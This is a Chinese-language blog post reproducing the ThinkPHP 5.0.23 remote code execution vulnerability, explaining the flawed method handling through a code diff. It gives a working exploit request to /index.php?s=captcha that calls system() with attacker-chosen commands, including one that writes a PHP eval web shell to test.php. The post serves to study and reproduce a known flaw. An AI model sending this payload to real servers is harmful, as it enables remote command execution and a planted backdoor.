当前位置:网站首页>漏洞复现----38、ThinkPHP5 5.0.23 远程代码执行漏洞
漏洞复现----38、ThinkPHP5 5.0.23 远程代码执行漏洞
2022-06-30 16:46:00 【七天啊】
一、漏洞简介
5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。Thinkphp源码下载
漏洞代码如下:
@@ -522,8 +522,11 @@ public function method($method = false)
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{
$this->method}($_POST);
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{
$this->method}($_POST);
}
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
调用$this->{$this->method}($_POST);语句。当我们可以控制$method的值时,就可以调用Request类的任意方法,而当调用构造方法__construct()时,就可以覆盖Request类的任意成员变量,可以覆盖$this->method,指定check()方法中的$method值。
二、漏洞复现
访问IP:8080抓包
更改请求为POST /index.php?s=captcha
消息正文为:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=command
commond=id/ls/whoami/echo <?php eval($_POST['cmd']);?> > test.php


边栏推荐
- ASP. Net generate verification code
- [Netease Yunxin] playback demo build: unable to convert parameter 1 from "asyncmodalrunner *" to "std:: nullptr\u T"**
- Exploration and practice of "flow batch integration" in JD
- [sword finger offer] 53 - I. find the number I in the sorted array
- Development: how to install offline MySQL in Linux system?
- Apache 解析漏洞(CVE-2017-15715)_漏洞复现
- It's not easy to say I love you | use the minimum web API to upload files
- TFTP下载kernel,nfs挂载文件系统
- 每日面试1题-蓝队基础面试题-应急响应(1)应急响应基本思路流程+Windows入侵排查思路
- 同济、阿里的CVPR 2022最佳学生论文奖研究了什么?这是一作的解读
猜你喜欢

What does software testing need to learn? Test learning outline sorting

What will be the game changes brought about by the meta universe?

ABAP-发布Restful服务
![[PROJECT] Xiaomao school (IX)](/img/01/f7fc609e7a156d6e60ce6482ba2ac1.jpg)
[PROJECT] Xiaomao school (IX)

Redis (VIII) - enterprise level solution (I)

Development: how to install offline MySQL in Linux system?

Conception d'un centre commercial en ligne basé sur SSH

Servlet operation principle_ API details_ Advanced path of request response construction (servlet_2)

IEEE TBD SCI impact factor increased to 4.271, ranking Q1!

Send the injured baby for emergency medical treatment. Didi's driver ran five red lights in a row
随机推荐
[sword finger offer] 53 - I. find the number I in the sorted array
Small tools (3) integration knife4j3.0.3 interface document
IEEE TBD SCI impact factor increased to 4.271, ranking Q1!
Radio and television 5g officially set sail, attracting attention on how to apply the golden band
ASP. Net generate verification code
What should I pay attention to when playing futures? Where is safe to open an account? It's my first contact
Mo Tianlun salon | Tsinghua qiaojialin: Apache iotdb, originated from Tsinghua, is building an open source ecological road
【剑指Offer】53 - I. 在排序数组中查找数字 I
Rainbow Brackets 插件的快捷键
ABAP publish restful service
DeFi借贷协议机制对比:Euler、Compound、Aave和Rari Capital
Oneortwo bugs in "software testing" are small things, but security vulnerabilities are big things. We must pay attention to them
[machine learning] K-means clustering analysis
Spin lock exploration
ASP. Net password encryption and password login
Elastic 8.0: opening a new era of speed, scale, relevance and simplicity
MSF后渗透总结
【机器学习】K-means聚类分析
[software testing] basic knowledge of software testing you need to know
Deep understanding of JVM (II) - memory structure (II)